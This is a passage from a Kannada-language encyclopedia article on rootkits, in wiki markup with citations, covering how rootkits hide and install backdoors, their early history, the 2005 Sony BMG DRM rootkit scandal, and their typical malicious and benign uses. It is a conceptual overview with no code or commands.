[[ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌‌|ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌‌ನಿಂದ]] ಸಿಸ್ಟಮ್ ಕಡತಗಳನ್ನು ಮತ್ತು ಇತರ ದತ್ತಾಂಶಗಳನ್ನು ಅಡಗಿಸುವವರೆಗೆ ವ್ಯಾಪ್ತಿಗೊಂಡಿದೆ.<ref>{{cite web | url=http://www.usenix.org/publications/login/1999-9/features/rootkits.html | title=invisible intruders: rootkits in practice | date=16 November 1999 | author=Brumley, David | publisher=[[USENIX]]}}</ref> ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಹೋಸ್ಟ್ ಸಿಸ್ಟಮ್‌ಗಳ ಒಳಗೆ ಒಂದು "[[ಹಿಂದಾರಿ]]"ಯನ್ನು ಸ್ಥಾಪಿಸಬಹುದು, ಉದಾಹರಣೆಗೆ, ಒಂದು ಲಾಗಿನ್ ವ್ಯವಸ್ಥೆಯನ್ನು (ಉದಾಹರಣೆಗೆ /ಬಿನ್/ಲಾಗಿನ್ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು [[ಯುನಿಕ್ಸ್]]-ನಂತಹ ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿ) ಒಂದು ಅದೇ ರೀತಿಯ ಅದರೆ ಗುಟ್ಟಾದ ಲಾಗಿನ್ ಕಾಂಬಿನೇಶನ್ ಸ್ವೀಕರಿಸುವ ಅಪಾಯಕಾರಿ ಸಬ್-ಪ್ರೋಗ್ರಾಮ್ ಅನ್ನು ಸ್ಥಾಪಿಸುವ ಮೂಲಕ ದಾಳಿಕಾರರು ಆ ಹೋಸ್ಟ್ ಸಿಸ್ಟಮ್‌ ಗೆ ಪ್ರವೇಶ ಪಡೆಯುವಂತೆ (ವಿಶಿಷ್ಟವಾಗಿ ಮೂಲ ಬಳಕೆದಾರನಾಗಿ) ಮಾಡಬಹುದು - ಎಲ್ಲ ಅಧಿಕೃತ ಬಳಕೆದಾರರ ಪಟ್ಟಿ ಹೊಂದಿರುವ ಪಾಸ್‌ವರ್ಡ್ ಫೈಲ್‌ನಲ್ಲಿರುವ ವಿಷಯದ ಹೊರತಾಗಿಯೂ ಇದು ಈ ಕೆಲಸ ಮಾಡುತ್ತದೆ. ಕೆಲವು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ನಿಯತವಾದ ಅಪ್ಲಿಕೇಶನ್‌ಗಳಾಗಿಯೇ ಹುಟ್ಟಿರಬಹುದು: ಅಂದರೆ ಮೂಲಃ ಅವುಗಳನ್ನು ವಿಫಲಗೊಳ್ಳುವ ಮತ್ತು ಪ್ರತಿಕ್ರಿಯೆ ನೀಡದ ಸಿಸ್ಟಮ್‌ಗಳ ಮೇಲೆ ನಿಯಂತ್ರಣ ಸಾಧಿಸಲು ರೂಪಿಸಲಾಗಿರುತ್ತದೆ. ಹೇಗಿದ್ದರೂ ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ಹೆಚ್ಚಿನ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಹೆಚ್ಚಾಗಿ [[ಮಾಲ್‌ವೇರ್‌]] ಗಳಾಗಿ ಬಳಸಲಾಗುತ್ತಿದ್ದು ಇವು ದಾಳಿಕಾರರಿಗೆ ತಮ್ಮ ಗುರುತನ್ನು ನೀಡದೇ ಸಿಸ್ಟಮ್‌ಗಳಿಗೆ ಪ್ರವೇಶವನ್ನು ಪಡೆಯಲು ಸಹಾಯ ಮಾಡುತ್ತವೆ. ಅನೇಕ ರೀತಿಯ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌‌ಗಳಲ್ಲಿ ಸಫಲವಾಗಿ ಕೆಲಸ ಮಾಡುವಂತೆ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಕಂಡುಹಿಡಿಯಲಾಗಿರುತ್ತದೆ, ಪ್ರಾಥಮಿಕ ಪಟ್ಟಿಯಲ್ಲಿರುವವು: [[ಮೈಕ್ರೋಸಾಫ್ಟ್‌ ವಿಂಡೋಸ್‌]], [[ಲಿನಕ್ಸ್‌]], [[ಮ್ಯಾಕ್ ಒಎಸ್‌]], ಮತ್ತು [[ಸೊಲಾರಿಸ್‌]]. == ಐತಿಹಾಸಿಕ ಸನ್ನಿವೇಶ == ''ರೂಟ್‌ಕಿಟ್‌'' ಅಥವಾ ''ರೂಟ್ ಕಿಟ್‌'' ಎಂಬ ಪದ ಮೂಲತಃ ಒಂದು ಕೇಡು ಮಾಡಲೆಂದು ಪರಿವರ್ತಿಸಿದ "[[ರೂಟ್]]" ಪ್ರವೇಶವನ್ನು ಹೊಂದಿರುವ [[ಯುನಿಕ್ಸ್-ನಂತಹ]] [[ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌]] ಆಡಳಿತಾತ್ಮಕ ಸಾಧನಗಳ ಸಮೂಹವಾಗಿದೆ. ಒಂದು ವೇಳೆ ದಾಳಿಕಾರ ಒಂದು ಸಿಸ್ಟಮ್‌ನಲ್ಲಿರುವ ಪ್ರಮಾಣಿತ ಆಡಳಿತ ಸಾಧನಗಳನ್ನು ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಮೂಲಕ ಬದಲಿಸಲು ಸಾಧ್ಯವಾಗುವುದಾದರೆ, ಆ ಬದಲಿಸಿದ ಸಾಧನಗಳು ನ್ಯಾಯಬದ್ಧ [[ಸಿಸ್ಟಮ್ ನಿರ್ವಾಹಕ|ಸಿಸ್ಟಮ್ ನಿರ್ವಾಹಕರ]] ಕಣ್ತಪ್ಪಿಸಿ ದಾಳಿಕಾರಕಕ್ಕೆ ಆ ಸಿಸ್ಟಮ್‌ನ ಮೂಲ ಪ್ರವೇಶವನ್ನು ನಿರ್ವಹಿಸಲು ಸಹಾಯ ಮಾಡುತ್ತದೆ. ಅತ್ಯಂತ ಪ್ರಾರಂಭಿಕವಾಗಿ ಪರಿಚಿತವಾದ ರೂಟ್‌ಕಿಟ್‌‌ಅನ್ನು ಸುಮಾರು ೧೯೯೦ ರಲ್ಲಿ [[ಲೇನ್ ಡೇವಿಸ್]] ಮತ್ತು [[ಸ್ಟೀವನ್ ಡೇಕ್]] ಎಂಬುವವರು [[ಸನ್‌ಒಎಸ್]] ೪.೧.೧. ಗಾಗಿ ರೂಪಿಸಿದ.{{Citation needed|date=August 2008}} ಅದಕ್ಕಿಂತ ಇನ್ನೂ ಮೊದಲು ಇಂತಹುದೇ ರೂಟ್‌ಕಿಟ್‌ಗೆ ಸಮಾನವಾದ ಒಂದು ಸಾಹಸವನ್ನು [[ಬೆಲ್ ಲ್ಯಾಬ್ಸ್‌ನ]] [[ಕೆನ್‌ ಥಾಂಪ್ಸನ್‌]] ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ಹಡಗುಸೇನೆಯ ಪ್ರಯೋಗಾಲಯದ ವಿರುದ್ಧ ''ಪಣವೊಂದನ್ನು ಮುಗಿಸಲು'' ಮಾಡಿದ.{{Citation needed|date=March 2009}} ಒಂದು ನಂಬಿಕೆಯ ಪ್ರಕಾರ{{By whom|date=April 2010}} ಥಾಂಪ್ಸನ್‌ ಹಡಗು ಸೇನೆಯ ಪ್ರಯೋಗಾಲಯದಲ್ಲಿ ಬಳಸಲಾದ ಯುನಿಕ್ಸ್‌ನ ವಿಭಜನೆಯ ಸಿ ಕಂಪೈಲರ್ ಅನ್ನು ಹಾಳುಗೆಡವಿದ. ಐತಿಹಾಸಿಕವಾಗಿ, ೧೯೬೦ ಮತ್ತು ೧೯೭೦ ರ ಕಂಪ್ಯೂಟರ್ ಸೈನ್ಸ್ ಪದವೀಧರರಲ್ಲಿ ಅದರಲ್ಲೂ [[ಎಮ್‌ಐಟಿ]] ಮತ್ತು [[ಸ್ಟ್ಯಾನ್‌ಫರ್ಡ್]] ವಿಶ್ವವಿದ್ಯಾಲಯದವರಲ್ಲಿ ಒಂದು ಸಂಸ್ಕೃತಿಯಿತ್ತು. ಈ ಕಂಪ್ಯೂಟರ್ ವಿಜ್ಞಾನಿಗಳ ಪ್ರವರ್ತಕ ಪೀಳಿಗೆಯಲ್ಲಿ ಹಲವರು ಕಂಪ್ಯೂಟರ್ ಸಿಸ್ಟಮ್‌ಗಳ "ಹ್ಯಾಕಿಂಗ್" ಕುರಿತು ಪ್ರಯೋಗಗಳನ್ನು ಮಾಡಿದ್ದರು (''ಆ'' ಶಬ್ದದ ಮೂಲ ಅರ್ಥದಲ್ಲಿ, ಹೆಚ್ಚಿನ ವಿವರಗಳಿಗಾಗಿ [[ದ ಜಾರ್ಗನ್ ಫೈಲ್]] ನೋಡಿ); ಅವರ ಕೆಲವು ಚಟುವಟಿಕೆಗಳು ಮತ್ತು ಪ್ರಯೋಗಗಳು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳ ''ಸಮಾನವಾದವು'' ಗಳನ್ನು ಉತ್ಪಾದಿಸಿತು - ಆದರೂ ಈ ಮೊದಲಿನ ಪ್ರಯತ್ನಗಳು ಹಸ್ತಚಾಲಿತವಾಗಿದ್ದು [[ಲ್ಯಾನ್]] ಅಥವಾ [[ಮ್ಯಾನ್]]-ಆಧಾರಿತ ಅಪ್ಲಿಕೇಶನ್‌ಗಳಾಗಿದ್ದವು. ವ್ಯಾಖ್ಯಾನದ ಪ್ರಕಾರ, ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಒಂದು ನಿರ್ದೇಶಿತ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ರನ್ ಆಗುವ ''ಮೊದಲು'' ದಾಳಿಕಾರನಿಗೆ ಸೌಲಭ್ಯಗಳನ್ನು ಒದಗಿಸಲಾಗುವುದಿಲ್ಲ. ಪ್ರಸ್ತುತ ರೂಟ್‌ಕಿಟ್‌ಗೆ ನುಗ್ಗುವ ಮೆಕ್ಯಾನಿಸಮ್‌ ಅನ್ನು ಸ್ಥಾಪಿಸುವುದು ದಾಳಿಕಾರನಿಗೆ ಮೊದಲ ಮತ್ತು ಅತ್ಯಂತ ಪ್ರಮುಖವಾದ ತಡೆಯಾಗಿದೆ. ನಂತರದಲ್ಲಿ ಉಳಿದ ಪ್ಲೇಲೋಡ್ ಅನ್ನು ಸ್ಥಾಪಿಸುವುದಕ್ಕೆ ಮಧ್ಯಪ್ರವೇಶಕಕ್ಕೆ ಸಿಸ್ಟಮ್ ಒಳಗೆ ಪ್ರವೇಶಿಸಲು ರೂಟ್ ಅಥವಾ ನಿರ್ವಾಹಕರ ಪ್ರವೇಶದ ಅಗತ್ಯವಿರುತ್ತದೆ, ಮತ್ತು ಅದನ್ನು ವಿಶಿಷ್ಟವಾಗಿ ಭೌತಿಕವಾಗಿ ಪ್ರವೇಶಿಸುವ ಮೂಲಕ ಅಥವಾ ಒಂದು ಹೋಸ್ಟ್ ಸಿಸ್ಟಮ್‌‌ನ [[ಸೌಲಭ್ಯ ಏರಿಕೆ|ಸೌಲಭ್ಯ ಏರಿಕೆಯನ್ನು]] ಸಾಧ್ಯವಾಗಿಸುವ [[ಭದ್ರತಾ ದೌರ್ಬಲ್ಯತೆಯ]] ದುರ್ಬಳಕೆ ಮಾಡುವ ಮೂಲಕ ಮಾಡಬಹುದಾಗಿದೆ. ಪರ್ಯಾಯವಾಗಿ, ರೂಟ್‌ಕಿಟ್‌ನ ಸ್ಥಾಪನೆ ಭಾಗವನ್ನು ಯಾವುದೇ ನಿರ್ವಹಣೆ ಹಕ್ಕಿರುವ ಯಾವುದೇ ಬಳಕೆದಾರರು ಅರಿವಿಲ್ಲದೇ ಪ್ರಾರಂಭಿಸಿದ್ದರೆ: ಉದಾಹರಣೆಗೆ, ಅಂದರೆ [[ಟ್ರೋಜನ್ ಅಪ್ಲಿಕೇಶನ್‌]] ನಂತಹುದರ ಮೂಲಕ. ಒಮ್ಮೆ ಸ್ಥಾಪಿಸಿದ ಮೇಲೆ ರೂಟ್‌ಕಿಟ್‌ ಸಿಸ್ಟಮ್ ಅನ್ನು ಪತನಗೊಳಿಸುವ ಮೂಲಕ ಗುಟ್ಟಿನ (ಅಥವಾ ''ಕಳ್ಳತನದ'' ) ನಿರ್ವಾಹಕ-ಮಟ್ಟದ ಪ್ರವೇಶವನ್ನು ನಿರ್ವಹಿಸುತ್ತದೆ, ಮತ್ತು ಅದನ್ನು ಇತರ ಪ್ರಕ್ರಿಯೆಗಳಿಂದ ಮುಚ್ಚಿಡುತ್ತದೆ. ೨೦೦೫ ರಲ್ಲಿ [[ಸೋನಿ ಬಿಎಂಜಿ]] ಸಂಸ್ಥೆಯು [[ಫಸ್ಟ್ 4 ಇಂಟರ್ನೆಟ್]] ರೂಪಿಸಿದ ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಪ್ರೋಗ್ರಾಮ್ ಅನ್ನು ತನ್ನ ಅನೇಕ ಸಂಗೀತದ [[ಸಿಡಿ|ಸಿಡಿಗಳಲ್ಲಿ]] ಸೇರಿಸುವ ಮೂಲಕ ಒಂದು [[ಹಗರಣವನ್ನು]] ಉಂಟುಮಾಡಿತು. ಈ ರೂಟ್‌ಕಿಟ್ ಯಾವುದೇ ಹೊಸ ಸೋನಿ ಸಿಡಿ ಪ್ಲೇ ಮಾಡುವ ಯಾವುದೇ [[ಮೈಕ್ರೋಸಾಫ್ಟ್‌ ವಿಂಡೋಸ್‌]] ಕಂಪ್ಯೂಟರ್‌‌ನಲ್ಲಿ [[ಡಿಆರ್‌ಎಂ]]<ref>{{cite web|url=http://blogs.technet.com/markrussinovich/archive/2005/10/31/sony-rootkits-and-digital-rights-management-gone-too-far.aspx|title=Sony, Rootkits and Digital Rights Management Gone Too Far|author=Mark Russinovich|date=31 October 2005|accessdate=2008-09-15|archive-date=2012-06-02|archive-url=https://www.webcitation.org/686ime0m5?url=http://blogs.technet.com/b/markrussinovich/archive/2005/10/31/sony-rootkits-and-digital-rights-management-gone-too-far.aspx|url-status=dead}}</ref> ಅನ್ನು ಸ್ಥಾಪಿಸುವಂತೆ ಒತ್ತಾಯಿಸುವ ಪ್ರಯತ್ನವಾಗಿತ್ತು. ಈ ರೂಟ್‌ಕಿಟ್‌ ಒಂದು [[ಹಿಂಬಾಗಿಲನ್ನು]] ಅತ್ಯಂತ ಸಮರ್ಥವಾಗಿ ತೆರೆಯಿತು ಮತ್ತು ಈ ಮುಂದಿನ ''ಯಾರೊಬ್ಬರಿಗೂ'' ರೂಟ್ ಪ್ರವೇಶವನ್ನು ಸಾಧ್ಯವಾಗಿಸಿತು: (೧) ಯಾರು ಇದರ ಪೂರ್ವಜ್ಞಾನವನ್ನು ಹೊಂದಿದ್ದರೋ ಅವರಿಗೆ ಅಥವಾ, (೨) ಯಾರು ಈ ರೂಟ್‌ಕಿಟ್ ಸ್ಥಾಪನೆ ಮತ್ತು ಅಸ್ಥಿತ್ವದ ಕುರಿತು ''ಸುಮ್ಮನೇ ಅರಿತಿದ್ದರೋ'' ಅವರಿಗೆ.<ref>{{cite web|url=http://www.kaspersky.com/news?id=173737204|title=New backdoor program uses Sony rootkit|date=10 November 2005|accessdate=2008-09-15|publisher=[[Kaspersky Lab]]}}</ref> ಈ ಹಗರಣವು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳ ಕುರಿತು ಸಾರ್ವಜನಿಕ ಜಾಗೃತಿಯನ್ನು ಮೂಡಿಸಿತು, ಜೊತೆಗೆ ಸೋನಿಯ ಸಾರ್ವಜನಿಕ ಸಂಪರ್ಕದ ಹಿನ್ನಡೆಯುಂಟಾದದ್ದನ್ನು ಒಬ್ಬ ವಿಶ್ಲೇಷಕರು [[ಟಿಲೆನಾಲ್ ಸ್ಕ್ಯಾರ್‌]] ಗೆ ಹೋಲಿಸಿದರು.<ref>{{cite news|url=http://news.bbc.co.uk/2/hi/technology/4456970.stm|title=Sony's long-term rootkit CD woes|date=21 November 2005|accessdate=2008-09-15|publisher=BBC News}}</ref> ಈ ಅಪಪ್ರಚಾರದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ, ಸೋನಿ ಬಿಎಂ‌ಜಿ ತಪ್ಪನ್ನು ಒಪ್ಪಿಕೊಂಡಿತು ಮತ್ತು ''ಉಲ್ಲಂಘನೆ'' ಯನ್ನು ಸರಿಪಡಿಸುವುದಾಗಿ ಹೇಳಿತು, ಆದರೆ ಆ ಮೊದಲಿನ ಪ್ರಯತ್ನದಲ್ಲಿ ಅವರು ರೂಟ್‌ಕಿಟ್‌ನ ಹಿಂಬಾಗಿಲನ್ನು ತೆಗೆಯುವ ಪ್ರಯತ್ನವು ಕೈಗೂಡಲಿಲ್ಲ. ನಂತರದಲ್ಲಿ, ಸೋನಿ ಬಿಎಂ‌ಜಿ ಈ ಉಲ್ಲಂಘನೆಯ ಕಾರಣಕ್ಕಾಗಿ ಹೂಡಲಾದ ಮೊಕದ್ದಮೆಯಲ್ಲಿ ಸೋಲನ್ನು ಅನುಭವಿಸಬೇಕಾಯಿತು. == ಸಾಮಾನ್ಯ ಬಳಕೆ == ಒಂದು ಸಫಲವಾಗಿ ಸ್ಥಾಪಿಸಿದ ರೂಟ್‌ಕಿಟ್‌, ಅಧಿಕೃತ_ಬಳಕೆದಾರರಿಗೆ_ಮಾತ್ರ ಎಂಬ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌‌ಗಳಿಗೂ ಕೂಡಾ ಅನಧಿಕೃತ ಬಳಕೆದಾರರಿಗೆ ರೂಟ್ ಆಗಿ ಒಂದು ಸಿಸ್ಟಮ್ ಅನ್ನು ಪ್ರವೇಶಿಸಲು ಅವಕಾಶ ಮಾಡಿಕೊಡುತ್ತದೆ, ಮತ್ತು ಆ ಪ್ರಕಾರ "ರೂಟ್‌ಕಿಟ್ಟೆಡ್" ಅಥವಾ "ರೂಟೆಡ್" ಸಿಸ್ಟಮ್ ಮೇಲೆ ಸಂಪೂರ್ಣ ನಿಯಂತ್ರಣವನ್ನು ಸಾಧಿಸಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ. ಹೆಚ್ಚಿನ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ವಿಶಿಷ್ಟವಾಗಿ ಕಡತಗಳನ್ನು, ಪ್ರಕ್ರಿಯೆಗಳನ್ನು, ನೆಟ್‌ವರ್ಕ್ ಸಂಪರ್ಕಗಳನ್ನು, ಸ್ಮರಣೆಯ ಬ್ಲಾಕುಗಳನ್ನು, ಅಥವಾ [[ವಿಂಡೋಸ್ ರಿಜಿಸ್ಟ್ರಿ]] ನಮೂದುಗಳನ್ನು ಕಂಪ್ಯೂಟರ್‌ ಸಿಸ್ಟಮ್ ಮೂಲಗಳಿಗೆ ಹೊಂದಿರುವ ವಿಶೇಷ ಪ್ರವೇಶಗಳನ್ನು ಕಂಡುಕೊಳ್ಳಲು ಸಿಸ್ಟಮ್ ನಿರ್ವಾಹಕರು ಬಳಸುವ ಇತರೆ ಪ್ರೋಗ್ರಾಮುಗಳಿಂದ ಅಡಗಿಸುತ್ತವೆ. ಹೇಗಿದ್ದರೂ, ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಇತರ ಕಡತಗಳು, ಪ್ರೋಗ್ರಾಮ್‌ಗಳು, ಅಥವಾ ಇತರ ಉದ್ದೇಶಗಳಿರುವ ಲೈಬ್ರರಿಗಳೊಂದಿಗೆ ಮಾರುವೇಶದಲ್ಲಿರಬಹುದು, ಅಥವಾ ಹೆಣೆದುಕೊಂಡಿರಬಹುದು. ಒಂದು ರೂಟ್‌ಕಿಟ್‌ನೊಂದಿಗೆ ಬರುವ ಸೌಲಭ್ಯಗಳಲ್ಲಿ ಕೆಲವು ದುರುದ್ದೇಶದಿಂದ ಕೂಡಿದ್ದರೂ, ಪ್ರತಿಯೊಂದು ರೂಟ್‌ಕಿಟ್ ದುರುದ್ದೇಶದಿಂದಲೇ ಕೂಡಿರುತ್ತದೆ ಎಂದು ಹೇಳಲು ಬರುವುದಿಲ್ಲ. ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಅಭಿವೃದ್ಧಿಮಾಡುವ ಹಾಗೂ ಹಾಳುಗೆಡಹುವ ಎರಡೂ ಉದ್ದೇಶಗಳಿಗಾಗಿಯೂ ಬಳಸಬಹುದಾಗಿದೆ. ಅನೇಕ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಅದರ ಸೌಲಭ್ಯದ ಪ್ರೋಗ್ರಾಮ್‌ಗಳನ್ನು ಅಡಗಿಸಿಕೊಂಡಿರುತ್ತವೆ. ಈ ರೀತಿ ಮಾಡುವ ಮೂಲಕ ಅವು ಸಾಮಾನ್ಯವಾಗಿ ತಮ್ಮ ನಿಯಂತ್ರಣಕ್ಕೆ ಬಂದ ಸಿಸ್ಟಮ್ ಅನ್ನು ದುರುಪಯೋಗಪಡಿಸಿಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸುತ್ತವೆ, ಮತ್ತು "[[ಹಿಂಬಾಗಿಲು]]"ಗಳನ್ನು ಹೊಂದಿರುತ್ತಿದ್ದು ಅವು ದಾಳಿಕಾರರಿಗೆ ಭವಿಷ್ಯದಲ್ಲಿ ಯಾವಾಗ ಬೇಕಾದರೂ ಪ್ರವೇಶವನ್ನು ದೊರಕಿಸಿಕೊಡುತ್ತವೆ. ಒಂದು ಸಾಮಾನ್ಯ ಉದಾಹರಣೆ ಎಂದರೆ, ಒಮ್ಮೆ ದಾಳಿಕಾರ ಒಂದು ಸಿಸ್ಟಮ್‌ನ ನಿರ್ದಿಷ್ಟ ನೆಟ್‌ವರ್ಕ್ [[ಪೋರ್ಟ್‌|ಪೋರ್ಟ್‌ಗೆ]] ಸಂಪರ್ಕ ಸಾಧಿಸಿದಾಗ [[ಕಮ್ಯಾಂಡ್ ಪ್ರೊಸೆಸಿಂಗ್ ಶೆಲ್‌]] ಅನ್ನು ಉತ್ಪತ್ತಿ ಮಾಡುವ ಅಪ್ಲಿಕೇಶನ್ ಒಂದನ್ನು ಆ ರೂಟ್‌ಕಿಟ್ ಅಡಗಿಸಿಡುತ್ತದೆ. [[ಕರ್ನಲ್]] ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಇದೇ ರೀತಿಯ ಕಾರ್ಯಸಾಮರ್ಥ್ಯಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಒಂದು [[ಹಿಂಬಾಗಿಲು]] [[ಸೌಲಭ್ಯ ಹೊಂದಿರದ]] ಬಳಕೆದಾರ ಪ್ರಾರಂಭಿಸಿದ ಪ್ರಕ್ರಿಯೆಗಳಿಗೆ ಸಹಾ [[ಸೌಲಭ್ಯ ಹೊಂದಿರುವ ಬಳಕೆದಾರನಿಗೆ]] ಸಾಧ್ಯವಿರುವಂತೆಯೇ ಚಲಿಸಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ (ರೂಟ್ ಬಳಕೆದಾರರನ್ನು ಸೇರಿ) ಮತ್ತು [[ಸೂಪರ್‌ಯೂಸರ್|ಸೂಪರ್‌ಯೂಸರ್‌ನಿಗೆ]] ಮಾತ್ರ ಮೀಸಲಾಗಿರುವ ಕಾರ್ಯಗಳನ್ನೂ ಮಾಡಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ. ಸಾಮಾನ್ಯ ಆ‍ಯ್‌೦ಟಿ-ವೈರಸ್ ಪ್ರೋಗ್ರಾಮುಗಳಿಗೆ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಕಂಡುಹಿಡಿಯುವುದು ಕಷ್ಟವಾಗುತ್ತದೆ ಮತ್ತು ಆ ಕಾರಣದಿಂದಾಗಿ ಸಿಸ್ಟಮ್‌ನ ವಿಶೇಷವಾದ ಪರಿಶೀಲನೆಯು ಅಗತ್ಯವಾಗಿರುತ್ತದೆ. ಆದರೂ ಅಂತಹ ಪರಿಶೀಲನೆ ಮಾಡುವ ಸಾಫ್ಟ್‌ವೇರ್ ರೂಟ್‌ಕಿಟ್‌ ಸ್ಥಾಪಿಸಿರುವ ಹಿಂಬಾಗಿಲ ಪ್ರವೇಶವನ್ನು ಕಂಡುಹಿಡಿಯುವುದು ಮತ್ತು ತೆಗೆದು ಹಾಕುವುದು ಸಾಧ್ಯವಾಗದಿರಬಹುದು. ಆ ಅರ್ಥದಲ್ಲಿ ಕೆಲವು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ತುಂಬ ಬುದ್ಧಿವಂತಿಕೆಯಿಂದ ರೂಪಿಸಲಾಗಿರುತ್ತದೆ. ಇಂತಹ ದುರುಪಯೋಗದ ದೃಷ್ಠಿಯಿಂದ ರೂಪಿಸಲ್ಪಟ್ಟಿರುವ ಸೌಲಭ್ಯ ಸಾಧನಗಳನ್ನು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಬಳಸಿ ಅಡಗಿಸಿಡಬಹುದು. ಅವುಗಳಲ್ಲಿ ದಾಳಿಗೊಳಗಾದ ಸಿಸ್ಟಮ್ ಸಂವಹಿಸುತ್ತಿರುವ ಇತರ ಕಂಪ್ಯೂಟರ್‌ ಸಿಸ್ಟಮ್‌ಗಳ ಮೇಲೆ ಇನ್ನೂ ಹೆಚ್ಚಿನ ದಾಳಿಯನ್ನು ನಡೆಸುವ [[ಸ್ನಿಫರ್ಸ್]] ಮತ್ತು [[ಕೀಲಾಗರ್ಸ್]] ಗಳಂತಹ ಸಾಧನಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. ನಿಯಂತ್ರಣ ಹೊಂದಿದ ಕಂಪ್ಯೂಟರಿನಿಂದ ಇನ್ನೊಂದು ಸಾಧ್ಯ ದುರುಪಯೋಗವೆಂದರೆ ಇದನ್ನು ಹೆಚ್ಚಿನ ದಾಳಿಗಳಿಗೆ ವೇದಿಕೆಯನ್ನಾಗಿ ಮಾಡಿಕೊಳ್ಳಬಹುದು(ನೋಡಿ [[ಜಾಂಬೀ ಕಂಪ್ಯೂಟರ್]]). ದುರುಪಯೋಗವು ನಿಯಂತ್ರಣಕ್ಕೆ ತೆಗೆದುಕೊಂಡ ಸಿಸ್ಟಮ್ (ಅಥವಾ ನೆಟ್‌ವರ್ಕ್‌)ನಿಂದ ಹುಟ್ಟಿಕೊಂಡಿದೆಯೇ ಹೊರತೂ ದಾಳಿಕಾರರಿಂದಲ್ಲ ಎಂಬುವಂತೆ ಕಾಣಿಸಲು ಇದನ್ನು ಹೆಚ್ಚಾಗಿ ಮಾಡಲಾಗುತ್ತದೆ. ಅಂತಹ ದಾಳಿಗೆ ಬಳಸಲಾಗುವ ಸಾಧನಗಳಲ್ಲಿ [[ಸೇವೆ-ತಿರಸ್ಕಾರದ ದಾಳಿ]] ಸಾಧನಗಳು, [[ಚಾಟ್]] ಸೆಶನ್‌ಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುವ ಸಾಧನಗಳು, ಮತ್ತು [[ಇ-ಮೇಲ್]] [[ಸ್ಪ್ಯಾಮ್]] ಹಂಚಿಕೆಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತವೆ. ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಬಳಕೆದಾರರಿಂದ, ನಿರ್ವಾಹಕರಿಂದ ಮತ್ತು ಆ‍ಯ್‌೦ಟಿ-ಮಾಲ್‌ವೇರ್‌ ಸಾಫ್ಟ್‌ವೇರ್‌ಗಳಿಂದ ಅಡಗಿಸಿಡಲು ಅವುಗಳನ್ನು ಇತರ ದುರುದ್ದೇಶಪೂರಿತವಾದ ಪ್ರೋಗ್ರಾಮ್‌ಗಳ ಜೊತೆಯಲ್ಲಿ ಸೇರಿಸಿಡಲಾಗಿರುತ್ತದೆ. ರೂಟ್‌ಕಿಟ್‌ ತಂತ್ರಜ್ಞಾನಗಳ ಬಳಕೆ ಮಾಡಿಕೊಳ್ಳುವುದು ವೈರಸ್ ವಿನ್ಯಾಸಕಾರರ ನಡುವೆ ಹೆಚ್ಚಾಗಿ ಪ್ರಸಿದ್ಧಿಗೊಳ್ಳುತ್ತಿದೆ. ಏಕೆಂದರೆ ಮಾಲ್‌ವೇರ್‌ ಅನ್ನು ಪಿಸಿ ಬಳಕೆದಾರರು ಮತ್ತು [[ಆ‍ಯ್‌೦ಟಿವೈರಸ್ ಪ್ರೋಗ್ರಾಮ್‌ಗಳನ್ನು]] ಅಡಗಿಸುವುದನ್ನು ಅವರು ಸಾಧ್ಯವಾಗಿಸುತ್ತಾರೆ. ಸಿದ್ಧ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಮಾಡಲು ಅಗತ್ಯವಾದ ನೂರಾರು [[ಸೋರ್ಸ್ ಕೋಡ್]] ಮಾದರಿಗಳನ್ನು ಅಂತರ್ಜಾಲದಲ್ಲಿ ಕಾಣಬಹುದು, ಮತ್ತು ಅವುಗಳನ್ನು ಅತ್ಯಂತ ವ್ಯಾಪಕವಾಗಿ ಟ್ರೋಜನ್‌ಗಳು ಅಥವಾ ಸ್ಪೈವೇರ್ ಪ್ರೋಗ್ರಾಮ್ ಮುಂತಾದವುಗಳಲ್ಲಿ ಬಳಸಲಾಗುತ್ತದೆ. ಹೇಗಿದ್ದರೂ, ಎಲ್ಲ ಸಮಯದಲ್ಲಿಯೂ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಕಂಪ್ಯೂಟರ್‌ ಮೇಲಿನ ನಿಯಂತ್ರಣವನ್ನು ನಿರ್ವಹಿಸಲು ಬಳಸುವುದಿಲ್ಲ. [[ಹನಿಪಾಟ್‌|ಹನಿಪಾಟ್‌ನಲ್ಲಿಯಂತೆ]] ಅಕ್ರಮವಾಗಿ ಬದಲಿಸುವಿಕೆ ಅಥವಾ 